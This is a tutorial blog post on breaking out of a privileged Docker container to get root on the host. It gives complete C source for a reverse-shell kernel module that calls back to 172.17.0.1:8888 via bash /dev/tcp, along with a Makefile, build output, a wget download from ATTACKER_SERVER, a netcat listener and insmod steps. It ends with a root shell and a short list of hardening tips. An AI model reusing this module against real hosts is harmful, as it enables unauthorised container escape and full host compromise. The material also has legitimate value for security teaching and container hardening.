How to add Reverseshell to host from the privileged container
Overview
Docker privileged mode grants a Docker container root capabilities to all devices on the host system. Some docker containers require extra privileges to access kernel host (e.g. to allow run docker inside docker). Unfortunately, these root capabilities can be also used to breakout container and even gain root capabilities.
Preconditions
- The attacker has access to the container with
--privileged
or--cap-add=all
mode
Checking capabilities
First, to simulate the attacker situation let’s run the alpine image with --privileged
mode.
docker run -it --privileged alpine sh
The next step for the attacker is to check what capabilities are available in a docker container. To do that it is needed to run capsh --print
the command inside the container. if the command is not available it is needed to install libcap
library.
apk add -U libcap
capsh --print | grep Current
Result:
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+eip
As you see there are a lot of capabilities in a privileged mode, Below you can find differences between the privileged component and the standard one.
NORMAL | PRIVILEGED |
---|---|
cap_chown | cap_chown |
cap_dac_override | cap_dac_override |
cap_dac_read_search | |
cap_fowner | cap_fowner |
cap_fsetid | cap_fsetid |
cap_kill | cap_kill |
cap_setgid | cap_setgid |
cap_setuid | cap_setuid |
cap_setpcap | cap_setpcap |
cap_linux_immutable | |
cap_net_bind_service | cap_net_bind_service |
cap_net_broadcast | |
cap_net_admin | |
cap_net_raw | cap_net_raw |
cap_ipc_lock | |
cap_ipc_owner | |
cap_sys_module | |
cap_sys_rawio | |
cap_sys_chroot | cap_sys_chroot |
cap_sys_ptrace | |
cap_sys_pacct | |
cap_sys_admin | |
cap_sys_boot | |
cap_sys_nice | |
cap_sys_resource | |
cap_sys_time | |
cap_sys_tty_config | |
cap_mknod | cap_mknod |
cap_lease | |
cap_audit_write | cap_audit_write |
cap_audit_control | |
cap_setfcap+eip | cap_setfcap |
cap_mac_override | |
cap_mac_admin | |
cap_syslog | |
cap_wake_alarm | |
cap_block_suspend | |
cap_audit_read+eip |
cap_sys_module, cap_sys_ptrace, cap_sys_admin are capabilities which attacker can easily use to breakout container.
Building reverse shell kernel module
With privileged docker container attacker can install linux kernel modules. In this section we build reverseshell kernel module.
Before start creating kernel module you have to be sure that you have installed linux headers. To install them use command below:
sudo apt-get install -y build-essential linux-headers-$(uname -r)
Next step we need to do is create file reverseshell_module.c with content below:
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kmod.h>
static char command[] = "bash -i >& /dev/tcp/172.17.0.1/8888 0>&1"; //Reverse shell change ip and port if needed
char *argv[] = {
"/bin/bash",
"-c", // flag make command run from option list
command, // Reverse shell
NULL // End of the list
};
static char *envp[] = {
"HOME=/",
NULL // End of the list
};
static int __init connect_back_init(void)
{
return call_usermodehelper(
argv[0], // execution path
argv, // arguments for process
envp, // environment for process
UMH_WAIT_EXEC // don't wait for program return status
);
}
static void __exit connect_back_exit(void)
{
printk(KERN_INFO "Exiting\n");
}
module_init(connect_back_init);
module_exit(connect_back_exit);
Next step is to prepare Makefile to be able to build module properly:
obj-m += reverseshell_module.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
When both files are prepared you can build file with make
command.
make
result:
make -C /lib/modules/5.4.0-42-generic/build M=/home/janek/reverseshell modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-42-generic'
Building modules, stage 2.
MODPOST 1 modules
WARNING: modpost: missing MODULE_LICENSE() in /home/janek/reverseshell/reverseshell_module.o
see include/linux/module.h for more information
CC [M] /home/janek/reverseshell/reverseshell_module.mod.o
LD [M] /home/janek/reverseshell/reverseshell_module.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-42-generic'
As build process has been completed attacker can put reverseshell_module.ko
into some http server.
Installing a reverse shell kernel module from the privileged docker container
Let’s go back to a privileged Docker container which attacker got access.
docker run -it --privileged alpine sh
Another thing attacker do is downloading prepared docker module.
wget http://ATTACKER_SERVER/reverseshell_module.ko
Connecting to 172.17.0.1:8000 (172.17.0.1:8000)
saving to 'reverseshell_module.ko'
reverseshell_module. 100% |********************************************************| 4544 0:00:00 ETA
'reverseshell_module.ko' saved
Before installation of the kernel module, it is needed to setup netcat
listener in a new terminal window:
nc -nlvp 8888
result:
Listening on 0.0.0.0 8888
As the listener is ready attacker can install reverse shell kernel module:
chmod +x reverseshell_module.ko
insmod reverseshell_module.ko
The connection should appear on the listening terminal:
Connection received on 10.0.2.15 44586
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@docker:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@docker:/#
As we can see the attacker received root access on the host machine.
Kernel modules commands
Below you can find some useful command for managing kernel modules:
Install module:
insmod reverseshell_module.ko
Unload module:
rmmod reverseshell_module.ko
List modules:
lsmod
How to secure?
- Always give the container minimum requirements it needs
- If it is required add only specific capabilities with
--cap-add
- Use namespace remapping
- Run docker in rootless mode (Some docker features may not work properly)
- Run containers as not
root
user
Sources
- https://phoenixnap.com/kb/docker-privileged
- https://www.educba.com/docker-privileged/
- https://docs-stage.docker.com/engine/security/rootless/
- https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html
- https://www.kernel.org/doc/htmldocs/kernel-hacking/routines-init-again.html
- https://www.thegeekstuff.com/2013/07/write-linux-kernel-module/
Maybe you want to share? :)